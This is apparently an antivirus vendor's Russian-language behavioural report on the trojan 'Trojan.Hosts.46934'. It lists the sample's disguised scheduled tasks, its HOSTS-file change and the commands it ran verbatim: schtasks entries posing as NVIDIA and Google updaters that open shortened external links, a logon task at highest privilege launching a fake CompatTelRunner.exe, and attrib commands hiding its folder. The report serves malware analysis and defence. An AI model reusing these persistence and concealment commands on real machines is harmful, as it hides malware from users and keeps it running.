Trojan.Hosts.46934

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\nvprofileupdater_{ee49ee11-6859-436d-9ef6-be075b989ef5}
<SYSTEM32>\tasks\nvprofileupdater_{47f9c899-c2b4-4b87-9bc3-abe9cf5820ae}
<SYSTEM32>\tasks\googleupdatetaskusers-1-5-21-581657713-19397237o9-1165714572-1001core
<SYSTEM32>\tasks\nvdriverupdatecheckdaily_{eb9cfce5-586e-4211-bc25-b893b25f9c8a}
<SYSTEM32>\tasks\nvdriverupdatecheckdaily_{c48fe4cd-a470-4fd3-b72d-900deebd6a62}

Изменения в файловой системе

Создает следующие файлы

Присваивает атрибут 'скрытый' для следующих файлов

Изменяет файл HOSTS.

Сетевая активность

TCP

Запросы HTTP GET

UDP

Другое

Создает и запускает на исполнение

'%TEMP%\is-9jqvp.tmp\<Имя файла>.tmp' /SL5="$80218,3975425,141824,<Полный путь к файлу>"
'%TEMP%\is-lpp1h.tmp\precomp08.exe'
'%APPDATA%\microscope\telemetry\logs\windows\compattelrunner.exe'
'%TEMP%\is-lpp1h.tmp\precomp08.exe' ' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c attrib +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows" & attrib +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows\*" /S /D' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /f /sc daily /mo 5 /tn NvDriverUpdateCheckDaily_{C48FE4CD-A470-4FD3-B72D-900DEEBD6A62} /tr "'explorer'"http://bi#.do/2de332d"' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /f /sc monthly /mo 4 /d 5 /tn NvDriverUpdateCheckDaily_{EB9CFCE5-586E-4211-BC25-B893B25F9C8A} /tr "'explorer'"http://bi#.do/2frwdwq3"' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /f /sc monthly /mo 1 /d 1 /tn NvProfileUpdater_{47F9C899-C2B4-4B87-9BC3-ABE9CF5820AE} /tr "'explorer'"https://cutt.ly/zeno1Zp"' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /f /sc daily /mo 2 /tn NvProfileUpdater_{EE49EE11-6859-436D-9EF6-BE075B989EF5} /tr "'explorer'"https://cutt.ly/Reno0HZ"' (со скрытым окном)
'<SYSTEM32>\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn GoogleUpdateTaskUserS-1-5-21-581657713-19397237O9-1165714572-1001Core /tr "'%APPDATA%\Microscope\Telemetry\logs\Windows\CompatTelRunner.exe'"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c attrib +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows" & attrib +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows\*" /S /D
'<SYSTEM32>\schtasks.exe' /create /f /sc daily /mo 5 /tn NvDriverUpdateCheckDaily_{C48FE4CD-A470-4FD3-B72D-900DEEBD6A62} /tr "'explorer'"http://bi#.do/2de332d"
'<SYSTEM32>\schtasks.exe' /create /f /sc monthly /mo 4 /d 5 /tn NvDriverUpdateCheckDaily_{EB9CFCE5-586E-4211-BC25-B893B25F9C8A} /tr "'explorer'"http://bi#.do/2frwdwq3"
'<SYSTEM32>\schtasks.exe' /create /f /sc monthly /mo 1 /d 1 /tn NvProfileUpdater_{47F9C899-C2B4-4B87-9BC3-ABE9CF5820AE} /tr "'explorer'"https://cutt.ly/zeno1Zp"
'<SYSTEM32>\schtasks.exe' /create /f /sc daily /mo 2 /tn NvProfileUpdater_{EE49EE11-6859-436D-9EF6-BE075B989EF5} /tr "'explorer'"https://cutt.ly/Reno0HZ"
'<SYSTEM32>\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn GoogleUpdateTaskUserS-1-5-21-581657713-19397237O9-1165714572-1001Core /tr "'%APPDATA%\Microscope\Telemetry\logs\Windows\CompatTelRunner.exe'"
'<SYSTEM32>\attrib.exe' +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows"
'<SYSTEM32>\attrib.exe' +H +S +R "%APPDATA%\\Microscope\Telemetry\logs\Windows\*" /S /D